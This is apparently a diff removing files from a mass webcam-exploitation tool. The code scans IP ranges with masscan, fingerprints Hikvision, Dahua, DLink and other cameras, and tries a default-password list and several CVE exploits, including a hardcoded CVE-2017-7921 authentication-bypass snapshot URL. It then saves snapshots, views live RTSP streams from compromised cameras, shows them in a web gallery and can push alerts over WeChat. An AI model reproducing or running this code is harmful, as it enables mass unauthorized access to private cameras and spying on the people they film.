if os.path.exists('paused.conf'):
os.system(f"sudo masscan --exclude 255.255.255.255 --resume paused.conf")
else:
os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.args.in_file} -p{self.args.port} --rate {self.args.rate} -oL {self.tmp}")
self.parse(self.tmp)
class CameraScanner(Base):
"""Scann the webcams"""
def __init__(self, args) -> None:
super().__init__(args)
self.scanner_name = 'camera scanner'
self.done_lock = Lock()
self.found_lock = Lock()
self.file_lock = Lock()
self.start_time = time.time()
self.bar = process_bar()
self._preprocess()
def _preprocess(self):
self.total, self.found, self.done = 0, 0, 0
# total ip
with open(self.args.in_file, 'r') as f:
total_ip = [l.strip() for l in f if not l.startswith('#') and l.strip()]
total_ip = list(set(total_ip))
for ip in total_ip:
self.total += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1
# processed ip
if not os.path.exists(os.path.join(self.args.out_path, PAUSE)):
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'a')
processed_ip = []
else:
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'r+')
processed_ip = [l.strip() for l in self.paused if not l.startswith('#') and l.strip()]
for ip in processed_ip:
self.done += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1
# need scan
self.ip_list = list(set(total_ip) - set(processed_ip)) if processed_ip else total_ip
# found
if os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
for line in f:
if not line.startswith('#') and line.strip(): self.found += 1
def __del__(self):
if os.path.exists(os.path.join(self.args.out_path, PAUSE)): self.paused.close()
def report(self):
"""report the results"""
if not os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
return
with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
items = [l.strip().split(',') for l in f if l.strip()]
results = defaultdict(lambda: defaultdict(lambda: 0))
for i in items:
dev, vul = i[-2].split('-')[0], i[-1]
results[dev][vul] += 1
results_sum = len(items)
results_max = max([val for vul in results.values() for val in vul.values()])
print('\n')
print('-' * 19, 'REPORT', '-' * 19)
for dev in results:
vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
dev_sum = sum([i[1] for i in vuls])
printf(f"{dev} {dev_sum}", color='red', bold=True)
for vul_name, vul_count in vuls:
printf(f"{vul_name:>18} | ", end='')
block_num = int(vul_count / results_max * 25)
printf('▥' * block_num, end=' ')
printf(vul_count)
printf(f"{'sum: ' + str(results_sum):>46}", color='yellow', flash=True)
print('-' * 46)
print('\n')
def scan_meta(self, ip, mod_name):
found = False
try:
res = self.modules[mod_name](ip)
if res[0] == True: # found vulnerability
found = True
with self.found_lock: self.found += 1
if ':' not in ip: port = '80'
else: ip, port = ip.split(':')
camera_info = [ip, port] + res[1:]
save_res(camera_info, os.path.join(self.args.out_path, RESULTS_ALL)) # save results (all)
if res[1]:
# save [ip, port, user, pass]
save_res([ip, port] + res[1: 3], os.path.join(self.args.out_path, RESULTS_SIMPLE))
# save snapshot if possible
if self.args.nosnap:
os.system(f"python3 -Bu utils/camera.py --ip '{camera_info[0]}'"
f" --port '{camera_info[1]}' --user '{camera_info[2]}' --passwd '{camera_info[3]}'"
f" --device '{camera_info[4]}' --vulnerability '{camera_info[5]}'"
f" --sv_path {self.args.out_path} > /dev/null 2> /dev/null")
except Exception as e:
if DEBUG: printf(e, color='red', bold=True)
finally:
return found
def scan(self, ip_term: str):
if ':' in ip_term: _targets = [ip_term]
else: _targets = get_all_ip(ip_term)
for ip in _targets:
found = False
dev_type = modules['device_type'](ip) # hikvision, dahua, cctv, dlink, unidentified
if dev_type == 'hikvision':
if 'hik_weak' in self.modules: found |= self.scan_meta(ip, 'hik_weak')
if 'cve_2017_7921' in self.modules: found |= self.scan_meta(ip, 'cve_2017_7921')
if 'cve_2021_36260' in self.modules: found |= self.scan_meta(ip, 'cve_2021_36260')
elif dev_type == 'dahua':
if 'dahua_weak' in self.modules: found |= self.scan_meta(ip, 'dahua_weak')
if 'cve_2021_33044' in self.modules: found |= self.scan_meta(ip, 'cve_2021_33044')
if 'cve_2021_33045' in self.modules: found |= self.scan_meta(ip, 'cve_2021_33045')
elif dev_type == 'cctv':
if 'cctv_weak' in self.modules: found |= self.scan_meta(ip, 'cctv_weak')
elif dev_type == 'dlink':
if 'cve_2020_25078' in self.modules: found |= self.scan_meta(ip, 'cve_2020_25078')
elif dev_type == 'uniview-nvr':
if 'uniview_disclosure' in self.modules: found |= self.scan_meta(ip, 'uniview_disclosure')
if not found and dev_type != 'unidentified':
save_res([ip, dev_type], os.path.join(self.args.out_path, RESULTS_FAILED))
with self.done_lock:
self.done += 1
self.bar(self.total, self.done, self.found, timer=True, start_time=self.start_time)
# write paused
with self.file_lock:
self.paused.write(ip_term + '\n')
self.paused.flush()
def _close(self):
os.remove(os.path.join(self.args.out_path, PAUSE))
def __call__(self):
self.modules = {}
if self.args.all: self.modules = modules
else:
for mod_name, mod_func in modules.items():
if mod_name in self.args and eval(f"self.args.{mod_name}"):
self.modules[mod_name] = mod_func
multi_thread(self.scan, self.ip_list, processes=self.args.th_num)
self.report()
self._close()
-48
View File
@@ -1,48 +0,0 @@
"""show all the cameras in the file"""
import os
import sys
cwd = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.join(cwd, '../..'))
from utils.base import printf
file = sys.argv[1] # should in format (ip,user,pass) or (ip,cve-2017-7921)
with open(file, 'r') as f:
items = [line.strip().split(',') for line in f if line.strip()]
items = [i for i in items if i[-2] == 'Dahua' or i[-2] == 'Hikvision']
items = [i for i in items if i[2] or i[-1] == 'cve-2017-7921']
print()
printf(f"there are {len(items)} cameras in file {file}", color='blue', bold=True, flash=True)
printf("input any key to get another gruop cameras")
printf("input q to quit this program")
printf("before get another groups, you should place your mouse over the camera "
"and press q to exit the current camera", color='red', bold=True)
print()
# do not set the rows and cols too big, since the network equality
height = 200
rows, cols = 2, 3
while items:
y = 0
for row in range(rows):
x = 0
for col in range(cols):
if items:
cam = items.pop()
if cam[-1] == 'cve-2017-7921':
os.system(f"python3 -Bu {os.path.join(cwd, 'show_cve_2017_7921.py')} "
f" --ip {cam[0]} --x {x} --y {y} --height {height}&")
else:
os.system(f"python3 -Bu {os.path.join(cwd, 'show_one_camera.py')} "
f" --ip {cam[0]} --user {cam[2]} --passwd {cam[3]} --x {x} --y {y} --height {height}&")
else:
break
x += 360
y += height + 35
if input().strip() == 'q': break
-44
View File
@@ -1,44 +0,0 @@
"""show camera that can be exploited by CVE-2017-7921"""
import requests
import argparse
import cv2
import numpy as np
def get_parser():
parser = argparse.ArgumentParser()
parser.add_argument('--ip', type=str, required=True, help='the target that to be displayed')
parser.add_argument('--x', type=int, default=0, required=False, help='window location x')
parser.add_argument('--y', type=int, default=0, required=False, help='window location y')
parser.add_argument('--height', type=int, default=640, required=False, help='window height')
args = parser.parse_args()
return args
def show(args):
win_name = args.ip + "(cve-2017-7921)"
cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)
cv2.moveWindow(win_name, args.x, args.y) # window location
while True:
try:
r = requests.get(f"http://{args.ip}/onvif-http/snapshot?auth=YWRtaW46MTEK", timeout=3)
img = cv2.imdecode(np.frombuffer(r.content, 'uint8'), 1)
# resize
scale = args.height / img.shape[0]
img = cv2.resize(img, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)
cv2.imshow(win_name, img)
if cv2.waitKey(30) == ord('q'): # wait 30 ms for 'q' input
cv2.destroyAllWindows()
break
except Exception as e:
pass
if __name__ == '__main__':
args = get_parser()
show(args)
-44
View File
@@ -1,44 +0,0 @@
"""display the camera in rtsp"""
import argparse
import cv2
import rtsp
def get_parser():
parser = argparse.ArgumentParser()
parser.add_argument('--ip', type=str, required=True, help='the target that to be displayed')
parser.add_argument('--user', type=str, required=True, help='user name')
parser.add_argument('--passwd', type=str, required=True, help='password')
parser.add_argument('--x', type=int, default=0, required=False, help='window location x')
parser.add_argument('--y', type=int, default=0, required=False, help='window location y')
parser.add_argument('--height', type=int, default=640, required=False, help='window height')
args = parser.parse_args()
return args
def show(args):
with rtsp.Client(rtsp_server_uri=f"rtsp://{args.user}:{args.passwd}@{args.ip}:554", verbose=False) as client:
win_name = f"{args.ip}({args.user}:{args.passwd})"
cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)
cv2.moveWindow(win_name, args.x, args.y) # window location
while (client.isOpened()):
img = client.read(raw=True) # camera img
# resize
scale = args.height / img.shape[0]
img = cv2.resize(img, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)
cv2.imshow(win_name, img)
if cv2.waitKey(30) == ord('q'): # wait 30 ms for 'q' input
break
cv2.waitKey(1)
cv2.destroyAllWindows()
cv2.waitKey(1)
if __name__ == '__main__':
args = get_parser()
show(args)
-42
View File
@@ -1,42 +0,0 @@
import os
import sys
from flask import Flask
from flask import render_template, redirect, url_for
app = Flask(__name__)
ip_file_path = sys.argv[1]
items_per_page = 50
ip_list = []
with open(ip_file_path, 'r') as f:
for line in f:
if line:
ip_list.append(line.strip())
@app.route('/')
def index():
return redirect(url_for('get_page', page_num=0))
@app.route('/<int:page_num>')
def get_page(page_num=0):
context = {}
context['title'] = os.path.basename(ip_file_path)
page_count = len(ip_list) // items_per_page + 1 if len(ip_list) % items_per_page else len(ip_list) // items_per_page
context['page_count'] = page_count
if page_num < 0 or page_num >= page_count:
context['page_num'] = 0
context['page_num'] = page_num
context['ip_list'] = ip_list[page_num * items_per_page : (page_num + 1) * items_per_page]
return render_template('index.html', context=context)
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8000)
-54
View File
@@ -1,54 +0,0 @@
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-Frame-Options" content="SAMEORIGIN / DENY ">
<title>{{context['title']}}</title>
<style>
iframe {
width: 960px;
height: 660px;
transform-origin: left top;
transform: scale(0.45);
border: none;
border-radius: 1rem;
box-shadow: 0 0 20px 10px rgba(0, 0, 0, 0.42);
}
#box {
float: left;
width: 430px;
height: 320px;
margin: 6px;
}
#box-title{
margin: 3px;
padding: 0;
text-align: center;
}
</style>
</head>
<body>
<!-- previous and next page button -->
<div style="text-align: center; margin: 10px;">
{% if context['page_num'] != 0 %}
<a href="{{ url_for('get_page', page_num=context['page_num'] - 1) }}">Previous</a>
{% endif %}
{% if context['page_num'] < context['page_count'] %}
<a href="{{ url_for('get_page', page_num=context['page_num'] + 1) }}">Next</a>
{% endif %}
</div>
<!-- container of boxes -->
<div style="width: 100%;">
{% for ip in context['ip_list'] %}
<div id="box"L>
<div id="box-title">
<a href="http://{{ip}}" target=_blank>{{ip}}</a>
</div>
<iframe scrolling=no src="http://{{ip}}" security="restricted" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>
</div>
{% endfor %}
</div>
</body>
-114
View File
@@ -1,114 +0,0 @@
"""Basic Utils"""
import os
import time
from multiprocessing import Pool
from multiprocessing.pool import ThreadPool
def save_res(res: list, out_path: str) -> None:
"""save a result record to file
format should be: [ip, port, user, passwd, device, vulnerability]
"""
with open(out_path, 'a') as f:
f.write(f"{','.join(res)}\n")
def run_time(func):
def wrapper(*args, **kwargs):
t0 = time.time()
res = func(*args, **kwargs)
print(f"\n>Time used: {time_formatter(time.time() - t0)}")
return res
return wrapper
# @run_time
def multi_process(func, items, processes=40):
"""multiprocess API"""
with Pool(processes) as pool:
res = pool.map_async(func, items).get()
return res
# @run_time
def multi_thread(func, items, processes=40):
"""multiprocess API"""
with ThreadPool(processes) as pool:
res = pool.map_async(func, items).get()
return res
def output_formatter(info, color='green', bold=False, underline=False, flash=False):
"""output format
head + [bold/underline/flash] + color + info + tail
"""
head = '\033['
tail = '\033[0m'
_bold = '1;'
_underline = '4;'
_flash = '5;'
colors = {
'red' : '31m',
'green' : '32m',
'yellow' : '33m',
'blue' : '34m',
'pink' : '35m',
'cyan' : '36m',
'white' : '37m',
}
bold = _bold if bold else ''
underline = _underline if underline else ''
flash = _flash if flash else ''
color = colors[color] if color in colors else colors['green']
return head + bold + underline + flash + color + str(info) + tail
def printf(info, color='green', bold=False, underline=False, flash=False, *args, **kwargs):
print(output_formatter(info, color=color, bold=bold, underline=underline, flash=flash), *args, **kwargs)
def time_formatter(t: float) -> str:
"""format the time"""
if t > 60 * 60: return f"{int(t / (60 * 60))}h " + time_formatter(t % (60 * 60))
elif t > 60: return f"{int(t / 60)}m " + time_formatter(t % 60)
else: return f"{int(t)}s"
def process_bar(cidx=[0]):
def wrapper(total, done, found=0, timer=False, start_time=0):
"""since tqdm cant be used when we use mutiprocess"""
# icon
icon_list = '⇐⇖⇑⇗⇒⇘⇓⇙'
icon = output_formatter(icon_list[cidx[0]], color='green', bold=True)
cidx[0] = cidx[0] + 1 if cidx[0] < len(icon_list) - 1 else 0
icon = f"[{icon}]"
# time
if timer and start_time != 0:
time_used = time.time() - start_time
done = done + 1 if done == 0 else done # avoid the devision number is zero
time_pred = time_used * (total / done)
time_used = output_formatter(time_formatter(time_used), color='cyan', bold=True)
time_pred = output_formatter(time_formatter(time_pred), color='white', bold=True)
_time = f"Time: {time_used}/{time_pred}"
# count
_total = output_formatter(total, color='blue', bold=True)
_done = output_formatter(done, color='blue', bold=True)
_percent = output_formatter(f"{round(done / total * 100, 1)}%", color='pink', bold=True)
_found = 'Found ' + output_formatter(found, color='red', bold=True) if found else ''
count = f"{_done}/{_total}({_percent}) {_found}"
print(f"\r{icon} {count} {_time:<55}", end='')
return wrapper
if __name__ == '__main__':
found, t0 = 0, time.time()
bar = process_bar()
for i in range(1, 10001):
time.sleep(.05)
found += 1 if not i % 10 else 0
bar(10000, i, found, timer=True, start_time=t0)
print()
-126
View File
@@ -1,126 +0,0 @@
"""Some tools about camera"""
import os
import sys
import requests
import argparse
from functools import partial
from xml.etree import ElementTree
from requests.auth import HTTPDigestAuth
import rtsp
from PIL import Image
CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
from utils.base import multi_thread, printf
from utils.net import get_user_agent
from utils.config import TIMEOUT, MAX_RETRIES, DEBUG
def get_parser():
parser = argparse.ArgumentParser()
parser.add_argument('--ip', type=str, required=False)
parser.add_argument('--port', type=str, required=False)
parser.add_argument('--user', type=str, required=False)
parser.add_argument('--passwd', type=str, required=False)
parser.add_argument('--device', type=str, required=False)
parser.add_argument('--vulnerability', type=str, required=False)
parser.add_argument('--in_file', type=str, required=False, default='')
parser.add_argument('--sv_path', type=str, required=True)
args = parser.parse_args()
return args
def save_snapshot(args) -> None:
snapshot_path = os.path.join(args.sv_path, 'snapshots')
if not os.path.exists(snapshot_path): os.makedirs(snapshot_path)
# snapshot all the targets in the file
if args.in_file:
with open(args.in_file, 'r') as f: items = [l.strip().split(',') for l in f if l.strip()]
_func = partial(snapshot_switch, snapshot_path=snapshot_path)
multi_thread(_func, items, processes=32)
else:
camera_info = [args.ip, args.port, args.user, args.passwd, args.device, args.vulnerability]
snapshot_switch(camera_info, snapshot_path)
def snapshot_switch(camera_info, snapshot_path):
"""select diff func to save snapshot"""
ip, port, user, passwd, device, vul = camera_info
# cve-2017-7921
if vul == 'cve-2017-7921':
file_name = os.path.join(snapshot_path, f"{ip}-{port}-cve_2017_7921.jpg")
url = f"http://{ip}:{port}/onvif-http/snapshot?auth=YWRtaW46MTEK"
snapshot_by_url(url, file_name)
# if we can get the password
elif passwd:
file_name = os.path.join(snapshot_path, f"{ip}-{port}-{user}-{passwd}.jpg")
# Hikvision
if device == 'Hikvision':
# get channels
channels = 1
try:
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd))
root = ElementTree.fromstring(r.text)
channels = len(root)
except Exception as e:
if DEBUG: printf(e, color='red', bold=True)
# get all snapshots of all channels
for ch in range(1, channels + 1):
url = f"http://{ip}:{port}/ISAPI/Streaming/channels/{ch}01/picture"
file_name = os.path.join(snapshot_path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
# Dahua
elif device.startswith('Dahua'):
if '-' in device: channels = int(device.split('-')[1])
else: channels = 1
for ch in range(1, channels + 1):
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
file_name = os.path.join(snapshot_path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
# DLink
elif device == 'DLink':
url = f"http://{ip}:{port}/dms?nowprofileid=1"
snapshot_by_url(url, file_name, auth=(user, passwd))
def snapshot_by_url(url, file_name, auth=None):
for _ in range(MAX_RETRIES):
try:
headers = {'User-Agent': get_user_agent(), }
if auth: r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=headers)
else: r = requests.get(url, timeout=TIMEOUT, verify=False, headers=headers)
if r.status_code == 200:
with open(file_name, 'wb') as f: f.write(r.content)
break
except Exception as e:
if DEBUG: printf(e, color='red', bold=True)
# This one is not always work! Many bugs...
def snapshot_by_rtsp(ip, port, user, passwd, sv_path, multiplay=False):
"""get snapshot through rtsp """
try:
if not multiplay: url = f"rtsp://{user}:{passwd}@{ip}:554"
else: url = f"rtsp://{user}:{passwd}@{ip}:554/h264/ch0/main/av_stream"
with rtsp.Client(rtsp_server_uri=url, verbose=False) as client:
while client.isOpened():
img_bgr = client.read(raw=True)
if not img_bgr is None:
img_rgb = img_bgr.copy()
img_rgb[:,:,0] = img_bgr[:,:,2]
img_rgb[:,:,1] = img_bgr[:,:,1]
img_rgb[:,:,2] = img_bgr[:,:,0]
name = f"{ip}-{port}-{user}-{passwd}.jpg"
img = Image.fromarray(img_rgb)
img.save(os.path.join(sv_path, name))
break
except Exception as e:
if DEBUG: printf(e, color='red', bold=True)
if __name__ == '__main__':
args = get_parser()
save_snapshot(args)
-44
View File
@@ -1,44 +0,0 @@
"""configuration file"""
#----------------------------
# overall
#----------------------------
DEBUG = False
TIMEOUT = 2
#----------------------------
# file names
#----------------------------
MASSCAN_TMP = 'masscan_tmp'
MASSCAN_RESULTS = 'masscan_results'
PAUSE = 'paused'
RESULTS_ALL = 'results_all.csv'
RESULTS_SIMPLE = 'results_simple.csv'
RESULTS_FAILED = 'not_vulnerable.csv'
#----------------------------
# camera
#----------------------------
USERS = ['admin']
PASSWORDS = ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc']
#----------------------------
# snapshot
#----------------------------
MAX_RETRIES = 2
#----------------------------
# wechat
#----------------------------
# please refer to https://wxpusher.zjiecode.com/docs/#/
UIDS = ['']
TOKEN = ''
#----------------------------
# email (not supported yet...)
#----------------------------
-62
View File
@@ -1,62 +0,0 @@
"""Network Tools"""
import random
import IPy
def get_ip_segment(start: str, end: str) -> str:
return IPy.IP(f"{start}-{end}", make_net=True).strNormal()
def get_ip_seg_len(ip_seg: str) -> int:
return IPy.IP(ip_seg, make_net=True).len()
def get_all_ip(ip_seg: str) -> list:
return [i.strNormal() for i in IPy.IP(ip_seg, make_net=True)]
def get_user_agent(name='random'):
user_agents = {'chrome': ["Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",],
'firefox': ["Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 ",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"],
'opera': ["Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
"Opera/9.80 (Android 2.3.4; Linux; Opera mobi/adr-1107051709; U; zh-cn) Presto/2.8.149 Version/11.10",],
'safari': ["Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",],
'ie': ["Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"],}
if name in user_agents:
return random.choice(user_agents[name])
return random.choice(random.choice(list(user_agents.values())))
if __name__ == '__main__':
# print(get_ip_segment('2.56.8.0', '2.56.9.255'))
# print(get_all_ip('192.168.0.1/31'))
# print(get_all_ip('2.56.8.0-2.56.9.255'))
print(get_user_agent('random'))
-18
View File
@@ -1,18 +0,0 @@
"""Wecheet Pusher"""
import os
import sys
from wxpusher import WxPusher
CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
from utils.config import UIDS, TOKEN
def send_msg(content: str = "default content") -> dict:
return WxPusher.send_message(uids=UIDS, token=TOKEN, content=f'{content}')
if __name__ == '__main__':
# just for testing
print(send_msg())